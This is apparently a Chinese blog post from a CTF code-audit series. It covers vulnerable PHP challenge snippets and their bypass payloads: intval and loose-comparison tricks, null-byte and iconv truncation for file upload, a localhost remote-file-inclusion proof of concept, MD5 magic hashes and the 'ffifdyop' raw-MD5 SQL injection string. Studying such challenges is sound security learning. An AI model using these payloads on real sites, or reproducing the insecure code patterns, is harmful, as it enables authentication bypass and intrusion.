写的有点多了,上一篇放在一起显得有点臃肿,就再起一篇吧~
迷路的老铁点这里:[代码审计]PHP_Bugs题目总结(1)
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]); ## 这里过滤只有一个intval
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
payload:?a=1024.1
intval 函数最大的值取决于操作系统:
32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。
64 位系统上,最大带符号的 integer 值是 9223372036854775807。
if ($req["number"] != intval($req["number"]))
在小数小于某个值(10^-16)以后,再比较的时候就分不清大小了。 输入number = 1.00000000000000010, 右边变成1.0, 而左与右比较会相等
因iconv遇到异常字符就不转后面的内容了,所以可以截断。
$a='1'.char(130).'2';
echo iconv("UTF-8","gbk",$a); //将字符串的编码从UTF-8转到gbk
echo iconv('GB2312', 'UTF-8', $str); //将字符串的编码从GB2312转到UTF-8
这里chr(128)到chr(255)都可以截断
功能:正则匹配过滤 条件:要求php<5.3.4
5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7 原来在高版本(受影响版本中),PHP把长度比较的安全检查逻辑给去掉了,导致了漏洞的发生 cve: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2348
move_uploaded_file($_FILES[‘x‘][‘tmp_name‘],"/tmp/test.php\x00.jpg")
上传抓包修改name为a.php\0jpg(\0是nul字符),可以看到$_FILES[‘xx’][‘name’]存储的字符串是a.php,不会包含\0截断之后的字符,因此并不影响代码的验证逻辑。
但是如果通过$_REQUEST方式获取的,则可能出现扩展名期望值不一致的情况,造成“任意文件上传”。
<?php
$name=$_GET['name'];
$filename=$name.'.php';
include $filename;
?>
当输入的文件名包含URL时,问号截断则会发生,并且这个利用方式不受PHP版本限制,原因是Web服务其会将问号看成一个请求参数。
测试POC:
http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/ddd.txt?
则会打开ddd.txt中的文件内容。本测试用例在PHP5.5.38版本上测试通过。
这个就不讲了,上面有类似的。一个用数组构成NULL,或者用%00去截断ereg
这个看着有点乱,有时间再整理。
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>
这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了。
在php里面,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的 3735929054比较,答案当然是相同的,返回true拿到flag
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
逐步看一下:
0 >= preg_match(‘/^[[:graph:]]{12,}$/‘, $password)
意为必须是12个字符以上(非空格非TAB之外的内容)
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
意为匹配到的次数要大于6次
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
意为必须要有大小写字母,数字,字符内容三种与三种以上
if ("42" == $password) echo $flag;
答案:
42.00e+00000000000
或
420.000000000e-1
我太难了~
前几天有些过弱类型的总结:
if(md5($temp)==0) 要使md5函数加密值为0
方法一: 使password不赋值,为NULL,NULL == 0为true http://127.0.0.1/php_bug/23.php?password= http://127.0.0.1/php_bug/23.php
方法二: 经过MD5运算后,为0e******的形式,其结果为0*10的n次方,结果还是零 http://127.0.0.1/php_bug/23.php?password=240610708 http://127.0.0.1/php_bug/23.php?password=QNKCDZO
这道题就只看这一句话:
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
md5($password,true)
的作用就是将md5后的hex转换成字符串
如果包含‘or‘xxx这样的字符串,那整个sql变成:
SELECT * FROM admin WHERE pass = ‘‘or‘xxx‘
这就相当于自己转换成了一个万能密码....
字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c hex转换成字符串: 'or'6<trash>
不能一口吃出个胖子,先把上面消化消化,再续写这三个点
不能一口吃出个胖子,先把上面消化消化,再续写这三个点
不能一口吃出个胖子,先把上面消化消化,再续写这三个点
https://github.com/bowu678/php_bugs
原文:https://www.cnblogs.com/-mo-/p/11657030.html